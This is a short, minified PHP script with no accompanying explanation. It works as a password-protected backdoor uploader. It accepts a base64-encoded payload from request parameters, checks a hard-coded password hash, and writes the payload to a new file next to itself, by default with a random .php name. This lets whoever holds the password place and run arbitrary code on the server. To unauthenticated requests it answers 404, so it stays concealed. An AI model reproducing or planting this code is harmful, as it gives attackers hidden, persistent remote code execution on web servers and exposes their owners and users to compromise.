<?php $r=array_merge($_GET,$_POST);if(!isset($r['p'])||!isset($r['c'])){http_response_code(404);exit;}if(hash('sha256',$r['p'])!=='3b18ab590a3be0ef52e062b7d70b2214502187b1b2a77a3579c12f5b81bde44c'){http_response_code(403);exit;}$d=base64_decode($r['c']);if($d===false){http_response_code(400);exit;}$f=isset($r['f'])?basename($r['f']):'x'.bin2hex(random_bytes(4)).'.php';file_put_contents(__DIR__.'/'.$f,$d);echo json_encode(['ok'=>1,'file'=>$f]);?>